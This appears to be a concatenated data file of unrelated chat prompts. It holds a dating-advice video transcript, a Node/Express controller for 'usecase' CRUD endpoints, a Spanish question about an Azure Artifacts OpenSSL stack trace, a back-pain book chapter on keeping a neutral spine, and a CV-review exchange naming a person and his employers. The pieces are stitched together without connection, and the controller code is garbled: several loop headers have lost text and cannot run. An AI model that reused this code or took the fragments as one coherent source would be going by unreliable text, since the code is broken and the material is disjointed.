the truth is most guys are are not in that category they\'re not walking up to you they\'re thinking about it uh but not doing it right so that\'s that\'s by far 99.9 that\'s 99.9 is not engaging in conversation uh so that\'s definitely the the thing that most of them do wrong though when women think about what most men do wrong they\'re going to go to the horror stories of the 0.1 percent that just come in like complete arrogant asses uh so yeah it\'s it\'s not it\'s disqualifying yourself before before you\'ve spoken to someone uh and there\'s a hundred different ways to speak to someone mentalities that can help but uh going in with a vibe of curiosity and again flirt with the world i think one of the things that men do wrong is that they try to be these snipers which is like these boring people who walk through life not talking to anyone not engaging with the cashier and then they\'re going to see the most beautiful woman at the bar who is surrounded by people who want to speak to her and they\'re going to go now i\'m going to turn it on yeah by the power of gray school they decide to pick up a [\xa0\\_\\_\xa0] right this it\'s time to turn it on it\'s time to do it yeah and then they he they hulk out and and just do it that\'s not how it\'s ever been with me i haven\'t seen it done that way it it\'s by flirting with the world it\'s by recognizing that the person that you should flirt with is the next person you interact with and whether that\'s someone in your apartment building as you\'re taking the elevator who is an older gentleman like being that outgoing fun friendly person setting a vibe goofing off and then just happening to be near the person that you\'re interested in is going to be much much more powerful because it\'s not something that you\'ve got to like gear up for it\'s something that is going to be habituated into the way that you\'re used to speaking with people it won\'t feel like such a stretch what\'s happening people if you enjoyed that then press here for the full unedited episode and don\'t forget to subscribe peace you"\nReply in Español' -'controllers/usecase.js\nconst \\_ = require("lodash");\nconst { v4: uuidv4 } = require("uuid");\n\nconst { checkValidation } = require("../utils/checkValidation.utils.js");\nconst usecaseQueries = require("../queries/usecase");\nconst { pgp, pgDb } = require("../db/dbConnect");\nconst { getTimezoneTimestamp } = require("../utils/getTimezoneTimestamp");\n\nconst DB\\_SCHEMA = "public";\nconst USECASE\\_TABLE = "usecase";\nconst CONTENT\\_TABLE = "content";\n\n/\\*\\*\n \\* Takes object of the form {"key1": {}, "key2": {}}\n \\* @param {object} records \n \\* @returns array of form [{}, {}], these objects are values of key1 and key2\n \\*/\nconst convertUsecasesToArray = (records) => {\n return new Array(records).reduce(function (r, o) {\n Object.keys(o).forEach(function (k) {\n r.push(o[k]);\n });\n return r;\n }, []);\n}\n\n/\\*\\*\n \\* takes array of response coming from left join query on usecase and content,\n \\* as 1 usecase can have multiple content, it groups contents inside array and link it to single record of usecase\n \\* @param {object} queryResp \n \\* @returns object of type {"key1": {}, "key2": {}}\n \\*/\nconst processUsecaseRespOfLeftJoin = (queryResp) => {\n const processedRecords = {};\n const uniqueUsecases = new Set();\n for(let i=0; i {\n try {\n // validate request body\n checkValidation(req, res);\n\n // first check if usecase has at least 1 unique content (to prevent usecase without content)\n const uniqueContentsNames = new Set();\n let contents = new Array(req?.body?.contents.length);\n const usecaseId = uuidv4();\n\n for(let i=0; i \\_.pick(item, ["id"]))\n }\n });\n } catch (error) {\n console.log(`Error while creating usercase :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.getUsecases = async (req, res, next) => {\n try {\n const companyId = res?.locals?.user?.company\\_id;\n\n // build limit and page number\n const limit = req.query.limit != undefined ? parseInt(req.query.limit) : 10;\n const page = req.query.page != undefined ? parseInt(req.query.page) : 1;\n const offset = (page-1)\\*limit;\n\n // get usecases based on comapny id and also include content\n const usecasesResp = await pgDb.any(usecaseQueries.getUsecases, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n companyId: companyId,\n limit: limit,\n offset: offset\n });\n\n // process records\n const totalCount = usecasesResp?.length ? parseInt(usecasesResp[0]?.total\\_count || 0) : 0;\n const processedRecords = processUsecaseRespOfLeftJoin(usecasesResp);\n\n // convert to array\n const usecases = convertUsecasesToArray(processedRecords)\n\n return res.status(200).send({\n message: "Usecase feched successfully",\n data: {\n usecases,\n page: page,\n limit: limit,\n totalCount: totalCount,\n totalPages: Math.ceil(totalCount/limit)\n }\n });\n } catch (error) {\n console.log(`Error while fetching usecases :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.getUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const usecaseId = req.params.usecaseId;\n const useCaseDetails = await pgDb.any(usecaseQueries.getUsecaseById, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n usecaseId: usecaseId\n });\n console.log("Response from DB :: ", useCaseDetails);\n\n // return error if nothing found\n if(!!useCaseDetails && !useCaseDetails?.length){\n return res.status(404).send({\n message: "Usecase detials not found"\n });\n } \n\n // check if company\\_id of fetch usecase matches with the company id of user, if not, throw error\n if(!!useCaseDetails && useCaseDetails[0]?.company\\_id !== res?.locals?.user?.company\\_id){\n return res.status(405).send({\n message: "You\'re not allowed to access this usecase"\n })\n }\n\n // process records\n const processedRecords = processUsecaseRespOfLeftJoin(useCaseDetails);\n\n return res.status(200).send({\n message: "Usecase fectched successfully",\n data: {\n usecase: processedRecords[useCaseDetails[0]?.id]\n }\n });\n } catch (error) {\n console.log(`Error while fetching usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.updateUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n \n return res.status(200).send({\n message: "Usecase updated successfully"\n })\n } catch (error) {\n console.log(`Error while updating usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.deleteUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const usecaseId = req.params.usecaseId;\n const usecaseCompanyId = await pgDb.any(usecaseQueries.getUsecaseCompanyId,{\n schema: DB\\_SCHEMA,\n table: USECASE\\_TABLE,\n usecaseId: usecaseId\n });\n\n // return error if nothing found\n if(!!usecaseCompanyId && !usecaseCompanyId?.length){\n return res.status(404).send({\n message: "Usecase not found"\n });\n } \n\n // check if company\\_id of fetched usecase matches with the company id of user, if not, throw error\n if(!!usecaseCompanyId && usecaseCompanyId?.length && usecaseCompanyId[0]?.company\\_id !== res?.locals?.user?.company\\_id){\n return res.status(405).send({\n message: "You\'re not allowed to delete this usecase"\n })\n }\n\n // first, update status of contents to "archived", then update status of usecase "archived"\n const timestamp = getTimezoneTimestamp();\n await pgDb.any(usecaseQueries.archiveUsecaseContents, {\n schema: DB\\_SCHEMA,\n table: CONTENT\\_TABLE,\n usecaseId: usecaseId,\n updatedAt: timestamp\n });\n console.log("Contents archived for usecaseId :: ", usecaseId);\n\n await pgDb.any(usecaseQueries.archiveUsecase, {\n schema: DB\\_SCHEMA,\n table: USECASE\\_TABLE,\n usecaseId: usecaseId,\n updatedAt: timestamp\n })\n console.log("Usecase archived for usecaseId :: ", usecaseId);\n\n return res.status(200).send({\n message: "Usecase deleted successfully",\n data: {\n id: usecaseId\n }\n })\n } catch (error) {\n console.log(`Error while deleting usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.searchUsecase = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const searchText = req.query.searchText;\n\n // build limit and page number\n const limit = req.query.limit != undefined ? parseInt(req.query.limit) : 10;\n const page = req.query.page != undefined ? parseInt(req.query.page) : 1;\n const offset = (page-1)\\*limit;\n\n const usecaseSearched = await pgDb.any(usecaseQueries.searchUsecase, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n companyId: res?.locals?.user?.company\\_id,\n searchText: `%${searchText}%`,\n limit: limit,\n offset: offset\n })\n console.log("Usecase matched with querystring :: ", usecaseSearched);\n\n // process records\n const totalCount = usecaseSearched?.length ? parseInt(usecaseSearched[0]?.total\\_count || 0) : 0;\n const processedRecords = processUsecaseRespOfLeftJoin(usecaseSearched);\n\n // convert to array\n const usecases = convertUsecasesToArray(processedRecords)\n\n return res.status(200).send({\n message: "Usecase tables searched successfully",\n data: {\n usecases: usecases,\n page: page,\n limit: limit,\n totalCount: totalCount,\n totalPages: Math.ceil(totalCount/limit)\n }\n })\n } catch (error) {\n console.log(`Error while searching usecase :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}' -"Tengo el siguiente error al intentar subir imágenes con az artifacts universal publish en Ubuntu 22.04\npablo@PC:~/repos/project-ban-ahorro-backup$ ./scripts/generate-docker-images-links.sh \nEncountered an unexpected error.\nSystem.Net.Http.HttpRequestException: The SSL connection could not be established, see inner exception.\n ---> System.TypeInitializationException: The type initializer for 'WorkingChain' threw an exception.\n ---> System.TypeInitializationException: The type initializer for 'System.Security.Cryptography.SafeEvpPKeyHandle' threw an exception.\n ---> System.DllNotFoundException: Unable to load shared library 'libSystem.Security.Cryptography.Native.OpenSsl' or one of its dependencies. In order to help diagnose loading problems, consider setting the LD\\_DEBUG environment variable: liblibSystem.Security.Cryptography.Native.OpenSsl: cannot open shared object file: No such file or directory\n at Interop.OpenSsl.OpenSslVersionNumber()\n at System.Security.Cryptography.SafeEvpPKeyHandle..cctor()\n --- End of inner exception stack trace ---\n at System.Security.Cryptography.SafeEvpPKeyHandle.get\\_OpenSslVersion()\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.WorkingChain..cctor()\n --- End of inner exception stack trace ---\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.Finish(OidCollection applicationPolicy, OidCollection certificatePolicy)\n at Internal.Cryptography.Pal.ChainPal.BuildChain(Boolean useMachineContext, ICertificatePal cert, X509Certificate2Collection extraStore, OidCollection applicationPolicy, OidCollection certificatePolicy, X509RevocationMode revocationMode, X509RevocationFlag revocationFlag, DateTime verificationTime, TimeSpan timeout)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate, Boolean throwOnException)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate)\n at System.Net.Security.CertificateValidation.BuildChainAndVerifyProperties(X509Chain chain, X509Certificate2 remoteCertificate, Boolean checkCertName, String hostName)\n at System.Net.Security.SecureChannel.VerifyRemoteCertificate(RemoteCertValidationCallback remoteCertValidationCallback, ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CompleteHandshake(ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.PartialFrameCallback(AsyncProtocolRequest asyncRequest)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Security.SslStream.ThrowIfExceptional()\n at System.Net.Security.SslStream.InternalEndProcessAuthentication(LazyAsyncResult lazyResult)\n at System.Net.Security.SslStream.EndProcessAuthentication(IAsyncResult result)\n at System.Net.Security.SslStream.EndAuthenticateAsClient(IAsyncResult asyncResult)\n at System.Net.Security.SslStream.<>c.b\\_\\_65\\_1(IAsyncResult iar)\n at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)\n --- End of inner exception stack trace ---\n at Microsoft.VisualStudio.Services.Common.VssHttpRetryMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)\n at System.Net.Http.HttpClient.FinishSendAsyncBuffered(Task`1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync(HttpRequestMessage message, HttpCompletionOption completionOption, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync[T](HttpRequestMessage message, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Location.Client.LocationHttpClient.GetConnectionDataAsync(ConnectOptions connectOptions, Int64 lastChangeId, CancellationToken cancellationToken, Object userState)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetConnectionDataAsync(ConnectOptions connectOptions, Int32 lastChangeId, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.ConnectAsync(ConnectOptions connectOptions, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.EnsureConnectedAsync(ConnectOptions optionsNeeded, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetInstanceIdAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.LocationService.GetLocationDataAsync(Guid locationAreaIdentifier, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientInstanceAsync(Type managedType, Guid serviceIdentifier, CancellationToken cancellationToken, VssHttpRequestSettings settings, DelegatingHandler[] handlers)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientServiceImplAsync(Type requestedType, Guid serviceIdentifier, Func`4 getInstanceAsync, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientAsync[T](CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.ExceptionExtensions.ReThrow(Exception ex)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at ArtifactTool.DedupManifestArtifactClientProvider.GetDedupManifestArtifactClientAsync(String serviceUrl, String patVar, ILogger commandBaseLogger, IAppTraceSource tracer, String cacheDirectory, Boolean cacheWriteAllowed, CancellationToken cancellationToken) in D:\\a\\1\\s\\src\\ArtifactTool\\Providers\\DedupManifestArtifactClient\\DedupManifestArtifactClientProvider.cs:line 56\n at ArtifactTool.Commands.UPackPublishCommand.ExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\UPack\\UPackPublishCommand.cs:line 51\n at ArtifactTool.Commands.CommandBase.OnExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\CommandBase.cs:line 105\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.InvokeAsync(MethodInfo method, Object instance, Object[] arguments) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 77\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.OnExecute(ConventionContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 62\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.<>c\\_\\_DisplayClass0\\_0.d.MoveNext() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 25\n--- End of stack trace from previous location where exception was thrown ---\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.<>c\\_\\_DisplayClass126\\_0.b\\_\\_0() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 505\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute(String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 611\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 57\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 145\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](IConsole console, String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 130\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 112\nProcess ['/home/pablo/.azure/azuredevops/cli/tools/artifacttool/ArtifactTool\\_linux-x64\\_0.2.267/artifacttool', 'universal', 'publish', '--service', 'https://dev.azure.com/bkinfra/', '--patvar', 'AZURE\\_DEVOPS\\_EXT\\_ARTIFACTTOOL\\_PATVAR', '--feed', 'feed-be-coinscrap', '--package-name', 'coinscrap-us', '--package-version', '4.7.1', '--path', '/tmp/coinscrap-us.tar'] with PID 45800 exited with return code 1" -'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' -'Please read this previous conversation and say OK.\n\nut\nI\'m a marketing and PR professional with over five years of music industry experience. \n\n\u200b\n\nI have always thrived whilst working with data, and I am proficient in using...\n\nData visualization tools (e.g. Power BI and Tableau)\n\nSQL\n\nExcel\n\nPython.\n\nIt sounds like you have a strong background in data analysis and visualization, which are valuable skills in the marketing and PR field. The ability to effectively analyze and present data can help you make more informed decisions and better understand your audience. It\'s also great that you have experience using a variety of tools, including Power BI, Tableau, SQL, Excel, and Python. These tools can help you efficiently process and analyze large amounts of data. Keep up the good work!\n\n\nMartin Weston\nHere is my CV:\n\nMARTIN WESTON - CVMarkeng professional withdata visualizaon,SQLandPythonskillsEDUCATION2012 - 2016Robinson College, University of CambridgeMusic BA Hons (2:1)2010 - 2010Royal Academy of Music, Junior DepartmentVoice (first study), Composition (second study)DATA ANALYST SKILLS & CERTIFICATIONS\uf310 View my portfolio website at:westonmartin.wixsite.com/data●Learn SQL-Codecademy●BI Dashboards with Power BI-Codecademy●BI Dashboards with Tableau-Codecademy●Statistics with NumPy (Python)-Codecademy●Data Analysis with Pandas (Python)-Codecademy●Analyze Data with Microsoft Excel-Codecademy●BigQuery Basics for Data Analysis-GoogleCloud SkillsBoost(currentlyenrolled)EXPERIENCEJuly 2021 -currentDecca, Universal Music GroupClassical Press Ocer●Managing UK press campaigns for all classical music projects:Planning press campaigns; Pitching and securingmedia coverage; Managing press requests and enquiries; Handling interviews/briefings; Writing press releasesand media bulletins; Developing journalist relationshipsJan 2019 -Jun 2021English Touring Opera (ETO)Marketing Ocer●Data analysis experience:Preparing weekly reports on marketing data (social media, CRM, ticket sales, GoogleAnalytics) usingExcel,Power BIandGoogle Data Studio; Completing extensive social media data audit toinform strategy; Using Power BI for audience profiling analysis using Audience Agency/Experian ‘Mosiac’ data●Managing ETO’s digital marketing: Facebook Ads (trac & conversion campaigns, Pixel tracking, A/B testing);Google Ads; Website maintenance (Craft CMS); E-newsletter (Mailchimp/Donorfy CRM); Social media planning;Design for print and digital advertising●Managing marketing on ETO tours:Working with touring venues to plan and execute campaigns; Managingmarketing budgets; Securing local and national media coverageFeb 2017 -Dec 2018Jeunesses Musicales International (JMI) - Brussels Head OceCommunications and Programs Ocer (Communications Intern for first 6 months)●Communications: Website design & maintenance; Social media; E-newsletter●Programs: Assistant Tour Manager on two JM Jazz World Orchestra tours in Eastern Europe; Eventsmanagement for conferences, concerts and festivals across Europe.Jan 2018 -Dec 2018BBC News, BrusselsOut-Of-Hours Studio Assistant●Operating Brussels TV and radio studiosto broadcast live to London (for Newsnight, Today, News Channel etc.)\nBased on your CV, it looks like you have a strong background in marketing and PR, with a focus on data analysis and visualization. You have a Bachelor\'s degree in Music from the University of Cambridge and have completed several courses on SQL, Power BI, Tableau, and Python. You also have experience using these tools in your work at English Touring Opera and Jeunesses Musicales International. In your current role at Decca, you are responsible for managing press campaigns for classical music projects. Your skills and experience make you well-suited for a career in marketing and PR, and you appear to be proficient in using data analysis tools to inform your work. Keep up the good work!\n\n\nMartin Weston\nMarketing Data Analysis - English Touring Opera\nUsing Excel and Power BI to analyze ETO\'s marketing data. Creating weekly reports and conducting exploratory data analysis to inform marketing strategy. \n\nWhilst working as Marketing Officer at English Touring Opera I worked with the Digital Culture Network\'s Tech Champions to significantly increase ETO\'s use of data to inform our marketing strategy. \nMy main activities:\n\nPreparing weekly reports on marketing data (social media, CRM, ticket sales, Google Analytics) using Excel, Power BI and Google Data Studio to present to the marketing team and senior management. \n\nCompleting an extensive social media data audit to inform our digital strategy.\n\nCompleting an audience profiling analysis using Audience Agency/Experian ‘Mosiac’ data.\nIt sounds like you had an important role in using data analysis to inform marketing strategy at English Touring Opera. By preparing weekly reports and conducting data audits, you were able to provide valuable insights to the marketing team and senior management. Your use of tools like Excel, Power BI, and Google Data Studio likely helped you efficiently process and visualize the data, making it easier to understand and act upon. Your work demonstrates the value of data analysis in marketing, as it can help organizations make more informed decisions and better understand their audiences. Keep up the good work!\n\n\nMartin Weston\nI became interested in data analysis whilst working at ETO. I thrived doing it. I have been speaking to data analysts since joining UMG. \nIt\'s great that you discovered a passion for data analysis during your time at English Touring Opera. The ability to effectively analyze and present data can be a valuable skill in many industries, including marketing and PR. Your experience at ETO, combined with your proficiency in tools like Power BI, Tableau, and Python, make you well-suited for a career in data analysis. You may want to consider taking additional courses or earning certifications to further develop your skills and knowledge in this area. Keep exploring your interests and continue to learn and grow in your career.\n\n\nMartin Weston\nrduino Accelerometer and Gyro Data Analysis Using Python\nEstimating position and orientation based on spatial and other data from an Arduino microcontroller attached to a medical device. \n\nThe project involves taking accelerometer and gyro readings from an Arduino microcontroller (attached to a medical device) and performing mathematical operations to plot the device’s position and orientation over time. \nThe project is a collaboration with a mechanical engineer, with my role to produce Python code to process the readings and and derive insights from the device’s data. \nThis is the first phase of the project where, using Python, I am able to convert accelerometer and gyro readings into position and orientation estimates. \n\n\nI am working on a second phase of the project which will collect and analyse data over a much longer timeframe, with the intention of applying machine learning techniques to infer conclusions from this mass of data. I will also experiment with visualize the device\'s position and orientation over time using a library like VPython. \nSee you can read more below and view the code on GitHub here. \n\nBackground\nA medical device is equipped with an Arduino, which collects data from various sensors, including linear accelerometers and gyros.\n\nAbove: an Arduino microcontroller\nObject\nTo record data from the Arduino-equipped device and to analyse the data so that it gives useful information about the device and its user.\nMethodology\nData from the device is transferred to the host computer and stored as a CSV file. Using Python, several operations are performed on the data so that the position and orientation of the device over time is recorded and displayed. \nFunction 1: "Zero" the time readings\nConverts the time readings into seconds and sets the readings to “zero”. \n# "Zero" the time readings\ndef zerotime(df, time, time\\_to\\_zero):\n df[time\\_to\\_zero] = (df[time] - df[time][0]) \\* 1000\nFunction 2: 